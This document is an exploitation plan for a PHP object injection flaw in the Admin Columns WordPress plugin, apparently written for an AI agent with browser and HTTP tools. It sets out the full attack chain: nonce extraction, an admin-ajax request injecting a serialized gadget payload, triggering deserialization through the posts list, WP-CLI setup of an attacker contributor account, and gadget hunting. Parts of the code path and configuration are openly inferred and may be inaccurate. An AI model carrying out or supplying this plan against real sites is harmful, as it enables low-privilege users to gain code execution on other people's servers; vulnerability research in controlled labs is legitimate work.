Exploitation Research Plan: CVE-2026-7654 (Admin Columns PHP Object Injection)

1. Vulnerability Summary

The Admin Columns plugin for WordPress (versions <= 7.0.18) is vulnerable to PHP Object Injection via the IdsToCollection::get_ids_from_string() function. The vulnerability exists because this function calls unserialize() on post meta values without restricting allowed_classes. An authenticated attacker with Contributor-level permissions can update a post's custom field (meta value) with a malicious serialized string. When this meta value is later processed by the plugin (e.g., when an administrator or the contributor views the "Posts" list in the dashboard), the payload is deserialized, potentially triggering a Remote Code Execution (RCE) via a POP gadget chain.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/edit.php (The primary trigger)
• Injection Point: Post Meta (Custom Fields) via wp-admin/post.php or wp-admin/admin-ajax.php (action: add-meta).
• Payload Parameter: Any custom meta key configured to be displayed as an "Admin Column" using the IdsToCollection helper.
• Authentication: Contributor+ (Requires capability to edit own posts and add custom fields).
• Preconditions:
  1. The Admin Columns plugin must be active.
  2. A column must be configured for the "Post" type that displays a "Custom Field" where the value is processed as a collection of IDs.

3. Code Flow

1. Entry Point (Injection): A Contributor creates or edits a post and adds a custom field (meta) containing a serialized PHP object.
2. Storage: The malicious string is stored in the wp_postmeta table.
3. Trigger (Display): An authorized user (Admin or Contributor) visits wp-admin/edit.php?post_type=post.
4. Processing:
   • The Admin Columns plugin hooks into the table rendering.
   • For the configured "Custom Field" column, it calls get_post_meta() to retrieve the value.
   • The value is passed to IdsToCollection::get_ids_from_string() (inferred path: classes/Helper/Post/IdsToCollection.php).
5. Sink: Inside get_ids_from_string(), the code encounters:

   // Inferred logic based on vulnerability description
   public function get_ids_from_string($value) {
       if (is_serialized($value)) {
           return unserialize($value); // <--- VULNERABLE SINK
       }
       // ... fallback logic
   }
   

6. Execution: The unserialize() call instantiates the object and triggers magic methods (__wakeup, __destruct, etc.), initiating the POP gadget chain.

4. Nonce Acquisition Strategy

To inject the meta value via the WordPress editor, the agent will need standard WordPress nonces.

1. Identify Trigger: The plugin likely localizes data into admin-page-columns.js.
2. Shortcode/Page Setup: Since this vulnerability triggers in the admin panel, the agent must first ensure the "Custom Field" column is active.
   • Action: Use wp post create to create a test post.
   • Action: Use wp ac-column (if available via CLI) or standard wp option to ensure a custom field column is active.
3. Browser Acquisition:
   • Navigate to the Post Editor: browser_navigate("wp-admin/post-new.php").
   • Extract the _wpnonce from the form or use browser_eval to find the add-meta-nonce.
   • JS Check: browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value").

5. Exploitation Strategy

The goal is to demonstrate RCE by triggering a safe side effect (e.g., creating a file).

Step 1: Preparation

Identify a POP gadget chain within the plugin or WordPress core. For research purposes, we will use a generic chain or a placeholder that targets a class known to be present in the environment (e.g., GuzzleHttp\Psr7\FnStream if bundled).

Step 2: Inject Payload

Use the http_request tool to add the malicious meta value to a post owned by the Contributor.

• Method: POST
• URL: http://<target>/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=add-meta
  &_ajax_nonce-add-meta=<NONCE>
  &post_id=<POST_ID>
  &metakeyselect=test_exploit_field
  &metakeyinput=test_exploit_field
  &metavalue=O:8:"GuzzleHttp\Psr7\FnStream":1:{s:7:"methods";a:1:{s:5:"close";s:7:"phpinfo";}}
  

  (Note: The above payload is a common conceptual gadget; the exact chain must be tailored to the "bundled gadgets" mentioned in the CVE).

Step 3: Trigger Deserialization

Access the list of posts to force the plugin to process the meta field.

• Method: GET
• URL: http://<target>/wp-admin/edit.php?post_type=post
• Expected Behavior: When the row for <POST_ID> is rendered, the column for test_exploit_field is processed, calling unserialize() and executing the gadget.

6. Test Data Setup

1. Create Contributor User:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Create Target Post:
   wp post create --post_type=post --post_status=publish --post_title="Vuln Post" --user=attacker
3. Configure Admin Columns (Crucial):
   Ensure the plugin is configured to show the "Custom Field" column for test_exploit_field.
   wp option update ac_columns_post '{"<ID>":{"type":"column-meta","label":"Exploit","field":"test_exploit_field","field_type":"collection"}}' (inferred option structure).

7. Expected Results

• The unserialize() call occurs during the GET request to edit.php.
• If using a phpinfo gadget, the response body will contain PHP configuration details.
• If using a file creation gadget, a new file will appear in the webroot or /tmp.

8. Verification Steps

1. Check Meta Value:
   wp post meta get <POST_ID> test_exploit_field
   Confirm the serialized string is present and unchanged.
2. Verify Execution:
   If the payload was designed to create a file: ls -la /var/www/html/exploit.txt.
   If the payload was designed to log data: tail -f /var/www/html/wp-content/debug.log.

9. Alternative Approaches

• Direct Meta Injection: If AJAX is restricted, navigate to wp-admin/post.php?post=<ID>&action=edit and use the "Custom Fields" UI directly via browser_click and browser_type.
• User Meta Target: Check if IdsToCollection is also used for User columns in wp-admin/users.php, which would allow exploitation via wp_usermeta.
• Gadget Discovery: If the standard Guzzle chain is missing, search the plugin for __destruct methods:
  grep -rn "function __destruct" /var/www/html/wp-content/plugins/codepress-admin-columns/.